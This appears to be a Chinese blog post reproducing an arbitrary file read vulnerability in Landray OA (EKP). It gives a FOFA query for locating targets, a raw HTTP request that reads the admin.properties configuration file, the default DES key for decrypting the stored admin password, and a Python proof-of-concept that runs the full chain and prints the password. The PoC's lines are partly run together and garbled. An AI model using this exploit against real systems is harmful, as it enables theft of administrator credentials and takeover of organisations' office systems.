漏洞描述

蓝凌OA(EKP)存在任意文件读取漏洞。可利用漏洞获取敏感信息,读取配置文件得到密码后访问后台
http://x.x.x.x/admin.do

漏洞影响版本

蓝凌OA

FOFA

app="Landray-OA系统"

漏洞复现过程

利用custom.jsp任意文件读取漏洞来读取配置文件

Payload如下:

请求:http://x.x.x.x/sys/ui/extend/varkind/custom.jsp
读取配置文件:/WEB-INF/KmssConfig/admin.properties,此处需要写为如下格式:
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

在BurpSuite上的数据包如下:

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

接着可以将得到的密钥:JMK83aAgUCrm2fHdvJWIEQ== 拿去DES在线解密网站进行解密

默认密钥:kmssAdminKey

在线解密网站:

http://tool.chacuo.net/cryptdes

接着拿着解密后的密钥去后台进行登录:

后台:http://x.x.x.x/admin.do

POC

# -*- coding: utf-8 -*-# @Author: Adura# @Date:   2021-06-09 10:54:47# @Last Modified by:   chenw# @Last Modified time: 2021-06-09 11:03:01import requestsimport sysimport reimport base64from pyDes import des, ECB, PAD_PKCS5from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)def title():    print('+-------------------------------------------------')    print('+  \033[31mPOC_by: Chenw                   \033[0m')    print('+  \033[31m漏洞名称: 蓝凌OA任意文件读取         \033[0m')    print('+  \033[36m使用格式:  python3 Poc.py         \033[0m')    print('+  \033[36m请输入URL: >>> http://ip:端口     \033[0m')    print('+-------------------------------------------------')def POC(url): 
    url1 =url
    url2 =url1+'/sys/ui/extend/varkind/custom.jsp'
    headers={    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",    "Content-Type":"application/x-www-form-urlencoded"
            }
    data='var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'

    #data='var={"body":{"file":"file:///etc/passwd"}}'
    try:
        r = requests.post(url=url2,headers=headers,data=data,verify=False,timeout=10)        if r.status_code == 200 and 'password' in r.text:            print(url+'存在蓝凌OA SSRF漏洞')            print('登录地址:'+url+'/admin.do')
            data = r.text.strip()
            data =str(data)
            data1 = data.split()
            data2 = ''.join(data1)
            password = re.findall(r"password=(.*?)\\rkmss",data2,re.I | re.M)
            password1 = str(password)
            KEY = 'kmssAdmi'
            try:
                secret_key = KEY
                iv = secret_key
                k = des(secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
                decrystr = k.decrypt(base64.b64decode(password1))
                decrystr2 = str(decrystr, 'utf-8').strip(':')                print('&*****&'+'后台密码为:' + decrystr2)            except Exception as e:                print('解密失败')        else:http://8.129.43.243:8081/            print(url+'\033[31m[x] 不存在漏洞 \033[0m')    except Exception as e:        print(url+'异常退出')	

if __name__ == '__main__':
	title()
	url = str(input("\033[35m请输入攻击目标的Url \nUrl >>> \033[0m"))
	POC(url)

使用Poc解密如下:


标签: none

添加新评论